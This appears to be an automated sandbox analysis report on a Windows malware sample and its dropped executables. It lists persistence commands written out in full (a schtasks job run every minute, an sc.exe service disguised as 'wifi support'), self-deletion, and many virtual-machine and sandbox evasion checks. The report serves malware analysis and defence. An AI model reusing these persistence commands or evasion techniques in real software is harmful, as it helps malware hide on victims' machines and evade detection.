Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\xzxafeeu

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\E748.exe

17_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\tijxczsbge.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rifsswe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

16_2_0040C2E0

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: tijXCZsbGe.exe, 00000001.00000002.719965671.00000000007DB000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\AppData\Local\Temp\8783.exe	RDTSC instruction interceptor: First address: 00000000008841C1 second address: 00000000008841C7 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov edi, esi 0x00000005 push esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8783.exe	RDTSC instruction interceptor: First address: 00000000008841C7 second address: 0000000000794FA4 instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 lahf 0x00000005 inc ecx 0x00000006 push esp 0x00000007 inc ecx 0x00000008 setno cl 0x0000000b cbw 0x0000000d push ebx 0x0000000e inc cx 0x00000010 movzx esi, ch 0x00000013 inc ecx 0x00000014 mov cl, E5h 0x00000016 push edi 0x00000017 jmp 00007FB310DB2E74h 0x0000001c pushfd 0x0000001d cwde 0x0000001e bswap eax 0x00000020 push ebp 0x00000021 cwd 0x00000023 dec ecx 0x00000024 ror edi, 03h 0x00000027 jmp 00007FB310DDF220h 0x0000002c dec esp 0x0000002d lea edi, dword ptr [FF86B0BCh] 0x00000033 inc ecx 0x00000034 push edi 0x00000035 inc ecx 0x00000036 add dh, 00000065h 0x00000039 inc cx 0x0000003b rcr ecx, 29h 0x0000003e dec esp 0x0000003f mov ecx, dword ptr [esp+00000090h] 0x00000046 cwd 0x00000048 inc ecx 0x00000049 neg ecx 0x0000004b rcl esi, cl 0x0000004d inc ecx 0x0000004e ror ecx, 02h 0x00000051 inc ecx 0x00000052 inc ecx 0x00000054 dec ebp 0x00000055 and esi, edi 0x00000057 inc ebp 0x00000058 test bl, bl 0x0000005a inc ecx 0x0000005b bswap ecx 0x0000005d dec ebp 0x0000005e add ecx, edi 0x00000060 inc cx 0x00000062 rol esi, FFFFFFA4h 0x00000065 dec eax 0x00000066 mov esi, esp 0x00000068 inc ecx 0x00000069 adc bl, FFFFFFD9h 0x0000006c dec eax 0x0000006d sub esp, 00000140h 0x00000073 dec eax 0x00000074 cwde 0x00000075 inc bp 0x00000077 btr esi, esi 0x0000007a cbw 0x0000007c dec eax 0x0000007d and esp, FFFFFFF0h 0x00000083 dec eax 0x00000084 bt edx, edi 0x00000087 dec ebp 0x00000088 mov esi, ecx 0x0000008a btc dx, FFDCh 0x0000008f dec ebp 0x00000090 movzx ebx, cx 0x00000093 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8783.exe	RDTSC instruction interceptor: First address: 000000000083A52F second address: 000000000083A535 instructions: 0x00000000 rdtsc 0x00000002 dec cl 0x00000004 neg cl 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9DFA.exe	RDTSC instruction interceptor: First address: 00000000008841C1 second address: 00000000008841C7 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov edi, esi 0x00000005 push esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9DFA.exe	RDTSC instruction interceptor: First address: 00000000008841C7 second address: 0000000000794FA4 instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 lahf 0x00000005 inc ecx 0x00000006 push esp 0x00000007 inc ecx 0x00000008 setno cl 0x0000000b cbw 0x0000000d push ebx 0x0000000e inc cx 0x00000010 movzx esi, ch 0x00000013 inc ecx 0x00000014 mov cl, E5h 0x00000016 push edi 0x00000017 jmp 00007FB310DB2E14h 0x0000001c pushfd 0x0000001d cwde 0x0000001e bswap eax 0x00000020 push ebp 0x00000021 cwd 0x00000023 dec ecx 0x00000024 ror edi, 03h 0x00000027 jmp 00007FB310DDF1C0h 0x0000002c dec esp 0x0000002d lea edi, dword ptr [FF86B0BCh] 0x00000033 inc ecx 0x00000034 push edi 0x00000035 inc ecx 0x00000036 add dh, 00000065h 0x00000039 inc cx 0x0000003b rcr ecx, 29h 0x0000003e dec esp 0x0000003f mov ecx, dword ptr [esp+00000090h] 0x00000046 cwd 0x00000048 inc ecx 0x00000049 neg ecx 0x0000004b rcl esi, cl 0x0000004d inc ecx 0x0000004e ror ecx, 02h 0x00000051 inc ecx 0x00000052 inc ecx 0x00000054 dec ebp 0x00000055 and esi, edi 0x00000057 inc ebp 0x00000058 test bl, bl 0x0000005a inc ecx 0x0000005b bswap ecx 0x0000005d dec ebp 0x0000005e add ecx, edi 0x00000060 inc cx 0x00000062 rol esi, FFFFFFA4h 0x00000065 dec eax 0x00000066 mov esi, esp 0x00000068 inc ecx 0x00000069 adc bl, FFFFFFD9h 0x0000006c dec eax 0x0000006d sub esp, 00000140h 0x00000073 dec eax 0x00000074 cwde 0x00000075 inc bp 0x00000077 btr esi, esi 0x0000007a cbw 0x0000007c dec eax 0x0000007d and esp, FFFFFFF0h 0x00000083 dec eax 0x00000084 bt edx, edi 0x00000087 dec ebp 0x00000088 mov esi, ecx 0x0000008a btc dx, FFDCh 0x0000008f dec ebp 0x00000090 movzx ebx, cx 0x00000093 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9DFA.exe	RDTSC instruction interceptor: First address: 000000000083A52F second address: 000000000083A535 instructions: 0x00000000 rdtsc 0x00000002 dec cl 0x00000004 neg cl 0x00000006 rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_00406AA0

16_2_00406AA0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 1548	Thread sleep count: 623 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5420	Thread sleep count: 315 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5420	Thread sleep time: -31500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4868	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6544	Thread sleep count: 422 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6528	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe TID: 6128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6912	Thread sleep time: -210000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 7124	Thread sleep count: 40 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 7124	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\F65C.exe TID: 5808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\5C89.exe TID: 3492	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\E748.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 623			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 422			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9334.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Temp\E748.exe	API coverage: 6.0 %
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	API coverage: 7.3 %

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_00406AA0
